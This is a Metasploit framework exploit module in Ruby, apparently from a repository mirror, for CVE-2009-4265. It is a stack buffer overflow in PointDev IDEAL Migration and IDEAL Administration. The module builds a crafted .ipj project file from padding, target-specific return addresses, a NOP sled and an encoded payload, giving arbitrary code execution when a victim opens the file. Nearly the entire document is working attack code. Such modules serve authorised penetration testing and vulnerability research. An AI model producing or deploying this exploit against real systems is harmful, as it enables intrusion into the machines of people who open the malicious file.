Files
metasploit-gs/modules/exploits/windows/fileformat/ideal_migration_ipj.rb
T
Michael Schierl 910644400d References EDB cleanup
All other types of references use String arguments, but approximately half
of the EDB references use Fixnums. Fix this by using Strings here too.
2012-10-23 21:02:09 +02:00

108 lines
2.6 KiB
Ruby

##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'PointDev IDEAL Migration Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in versions v9.7
through v10.5 of IDEAL Administration and versions 4.5 and 4.51 of
IDEAL Migration. All versions are suspected to be vulnerable.
By creating a specially crafted ipj file, an an attacker may be able
to execute arbitrary code.
NOTE: IDEAL Administration 10.5 is compiled with /SafeSEH
},
'License' => MSF_LICENSE,
'Author' => [ 'Dr_IDE', 'dookie', 'jduck' ],
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2009-4265' ],
[ 'OSVDB', '60681' ],
[ 'EDB', '10319' ],
[ 'EDB', '12403' ],
[ 'EDB', '12404' ],
[ 'EDB', '12540' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'seh',
'DisablePayloadHandler' => 'true',
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00\x0a\x1a\x22\x3c\x3e",
'StackAdjustment' => -3500,
'DisableNops' => true
},
'Platform' => 'win',
'Targets' =>
[
[ 'IDEAL Migration <= 4.5.1 on Windows XP',
{
'Ret' => 0x1001411e # CALL EBP in ULMigration_us.dll
# 'Ret' => 0x7c96bf33 # JMP ESP in ULMigration_us.dll (from Blake)
# 'Ret' => 0x77f31d2f # JMP ESP in ?? (from Dr_IDE)
}
],
[ 'IDEAL Administration <= 10.5 on Windows XP',
{
'Ret' => 0x10010F2E # CALL EBP in ListWmi.dll
# 'Ret' => 0x77f31d2f # JMP ESP in ?? (from Dr_IDE)
}
],
],
'Privileged' => false,
'DisclosureDate' => 'Dec 05 2009',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ false, 'The file name.', 'msf.ipj']),
], self.class)
end
def exploit
ipj = "\r\n"
ipj << "[Group,Export,Yes]\r\n"
ipj << "Computer="
sploit = ""
sploit << rand_text_alpha_upper(2420)
sploit << [target.ret].pack('V')
# These nops are required to move the payload below where ebp points
# when returning...
sploit << make_nops(768)
sploit << payload.encoded
ipj << sploit
ipj << "\r\n"
ipj << "[End]\r\n"
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(ipj)
end
end